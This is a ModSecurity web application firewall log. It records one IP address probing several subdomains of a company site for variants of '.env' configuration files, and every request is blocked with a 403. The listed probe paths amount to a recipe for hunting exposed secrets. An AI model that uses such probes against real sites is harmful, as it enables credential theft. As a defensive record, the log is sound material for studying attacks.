[Sun Oct 25 02:18:54.011918 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at2fTnqPPT_6tJCMTRvt9gAAAAs"]
[Sun Oct 25 02:18:54.012132 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at2fTnqPPT_6tJCMTRvt9gAAAAs"]
[Sun Oct 25 02:18:54.250438 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.uat"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at2fTlyqe9jgJ5nfJHB7TQAAAAo"]
[Sun Oct 25 02:18:54.250738 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at2fTlyqe9jgJ5nfJHB7TQAAAAo"]
[Sun Oct 25 02:18:54.251170 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at2fTlyqe9jgJ5nfJHB7TQAAAAo"]
[Sun Oct 25 02:18:54.252561 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at2fTlTnwNJm6o1fQZIhRgAAAAI"]
[Sun Oct 25 02:18:54.252706 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at2fTlTnwNJm6o1fQZIhRgAAAAI"]
[Sun Oct 25 02:18:54.252974 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at2fTlTnwNJm6o1fQZIhRgAAAAI"]
[Sun Oct 25 02:18:54.271992 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at2fTnqPPT_6tJCMTRvt9wAAAAs"]
[Sun Oct 25 02:18:54.272161 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at2fTnqPPT_6tJCMTRvt9wAAAAs"]
[Sun Oct 25 02:18:54.272406 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at2fTnqPPT_6tJCMTRvt9wAAAAs"]
[Sun Oct 25 02:18:54.559431 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at2fTlyqe9jgJ5nfJHB7TgAAAAo"]
[Sun Oct 25 02:18:54.559845 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at2fTlyqe9jgJ5nfJHB7TgAAAAo"]
[Sun Oct 25 02:18:54.560346 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at2fTlyqe9jgJ5nfJHB7TgAAAAo"]
[Sun Oct 25 02:18:54.626930 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at2fTlTnwNJm6o1fQZIhRwAAAAI"]
[Sun Oct 25 02:18:54.627248 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at2fTlTnwNJm6o1fQZIhRwAAAAI"]
[Sun Oct 25 02:18:54.627565 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at2fTlTnwNJm6o1fQZIhRwAAAAI"]
[Sun Oct 25 02:18:54.627620 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "plantas2.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at2fTlTnwNJm6o1fQZIhRwAAAAI"]
[Sun Oct 25 02:18:54.627634 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "plantas2.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at2fTlTnwNJm6o1fQZIhRwAAAAI"]
[Sun Oct 25 02:18:54.628829 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at2fTnqPPT_6tJCMTRvt-AAAAAs"]
[Sun Oct 25 02:18:54.628974 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at2fTnqPPT_6tJCMTRvt-AAAAAs"]
[Sun Oct 25 02:18:54.629249 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at2fTnqPPT_6tJCMTRvt-AAAAAs"]
[Sun Oct 25 02:18:54.840974 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at2fTnqPPT_6tJCMTRvt-QAAAAs"]
[Sun Oct 25 02:18:54.841282 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at2fTnqPPT_6tJCMTRvt-QAAAAs"]
[Sun Oct 25 02:18:54.841559 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at2fTnqPPT_6tJCMTRvt-QAAAAs"]
[Sun Oct 25 02:18:54.856160 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at2fTlyqe9jgJ5nfJHB7TwAAAAo"]
[Sun Oct 25 02:18:54.856429 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at2fTlyqe9jgJ5nfJHB7TwAAAAo"]
[Sun Oct 25 02:18:54.856774 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at2fTlyqe9jgJ5nfJHB7TwAAAAo"]
[Sun Oct 25 02:18:54.862197 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at2fTlTnwNJm6o1fQZIhSAAAAAI"]
[Sun Oct 25 02:18:54.862380 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at2fTlTnwNJm6o1fQZIhSAAAAAI"]
[Sun Oct 25 02:18:54.862636 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at2fTlTnwNJm6o1fQZIhSAAAAAI"]
[Sun Oct 25 02:18:55.089796 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env2"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env2"] [unique_id "at2fT3qPPT_6tJCMTRvt-gAAAAs"]
[Sun Oct 25 02:18:55.090064 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env2"] [unique_id "at2fT3qPPT_6tJCMTRvt-gAAAAs"]
[Sun Oct 25 02:18:55.090470 2026] [security2:error] [pid 2775710:tid 2775710] [client 34.40.186.113:41436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env2"] [unique_id "at2fT3qPPT_6tJCMTRvt-gAAAAs"]
[Sun Oct 25 02:18:55.095195 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at2fT1yqe9jgJ5nfJHB7UAAAAAo"]
[Sun Oct 25 02:18:55.095401 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at2fT1yqe9jgJ5nfJHB7UAAAAAo"]
[Sun Oct 25 02:18:55.095646 2026] [security2:error] [pid 2775709:tid 2775709] [client 34.40.186.113:41480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at2fT1yqe9jgJ5nfJHB7UAAAAAo"]
[Sun Oct 25 02:18:55.120607 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env2"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env2"] [unique_id "at2fT1TnwNJm6o1fQZIhSQAAAAI"]
[Sun Oct 25 02:18:55.120788 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env2"] [unique_id "at2fT1TnwNJm6o1fQZIhSQAAAAI"]
[Sun Oct 25 02:18:55.121025 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.40.186.113:41464] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env2"] [unique_id "at2fT1TnwNJm6o1fQZIhSQAAAAI"]
